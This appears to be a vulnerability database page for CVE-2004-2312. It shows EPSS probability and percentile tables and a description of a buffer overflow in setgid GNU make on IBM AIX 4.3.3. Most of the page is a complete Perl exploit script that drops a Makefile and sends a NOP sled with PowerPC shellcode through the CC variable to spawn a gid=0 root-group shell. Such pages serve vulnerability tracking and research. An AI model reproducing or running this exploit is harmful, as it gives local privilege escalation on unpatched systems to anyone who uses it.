CVE-2004-2312 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.92%	–	–
2022-02-13	–	–	1.92%	–	–
2022-04-03	–	–	1.92%	–	–
2022-06-26	–	–	1.92%	–	–
2022-11-13	–	–	1.92%	–	–
2022-11-20	–	–	1.92%	–	–
2022-12-11	–	–	1.92%	–	–
2022-12-18	–	–	1.92%	–	–
2022-12-25	–	–	1.92%	–	–
2023-01-01	–	–	1.92%	–	–
2023-02-12	–	–	1.92%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.15%
2025-04-06	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	55%
2022-02-13	56%
2022-04-03	76%
2022-06-26	77%
2022-11-13	78%
2022-11-20	77%
2022-12-11	78%
2022-12-18	77%
2022-12-25	78%
2023-01-01	77%
2023-02-12	78%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	33%
2025-03-30	32%
2025-04-06	33%
2025-04-15	37%
2025-04-15	37%

source: https://www.securityfocus.com/bid/9903/info GNU make for IBM AIX has been reported to be prone to a buffer overflow vulnerability, the issue is reported to exist due to a lack of sufficient boundary checks performed when reading the path to the CC compiler. Because the GNU make utility is reported to run with setGID root privileges, a local attacker may potentially exploit this condition to gain access to the root group. This issue is reported to exist on AIX 4.3.3 platforms. #!/usr/bin/perl # FileName: x_make_aix433_limited.pl # Exploit /usr/local/bin/make of Aix4.3.3 to get a gid=0 shell. # Tested on low version of Aix4.3.3. # Author : watercloud@xfocus.org # Site : www.xfocus.org (EN) / www.xfocus.net (CN) # Date : 2003-5-30 # Announce: use as your owner risk! $CMD="/usr/local/bin/make"; $_=`/usr/bin/oslevel`; $XID="\x03"; @GID_LIST=(248,247); print "\n\nExploit $CMD for Aix 4.3.3 to get gid=0 shell.\n"; print "From: [ www.xfocus.org 2003-5-30 ].\n\n"; print "Note :use this command to get gid=0 after egid=0 :\n"; print "/usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n"; $str="k:k.c\n\t\${CC} k.c\n\t"; open mfd,">Makefile" or die "open file Makefile for write error!\n"; open kfd,">k.c" or die "open file .k.c for write error!\n"; print mfd $str, print kfd $str; close mfd, close kfd; $NOP="\x7c\xa5\x2a\x79"x800; %ENV=(); foreach $GID ( @GID_LIST) { $ENV{CCC}=$NOP.&getshell($XID,chr($GID)); system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300; } unlink "Makefile","k.c"; #sub sub getshell($XID,$GID) { my $SHELL,($XID,$GID)=@_; $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd"; $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0"; $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"; $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff"; $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78"; $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1"; $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff"; return $SHELL; } #EOF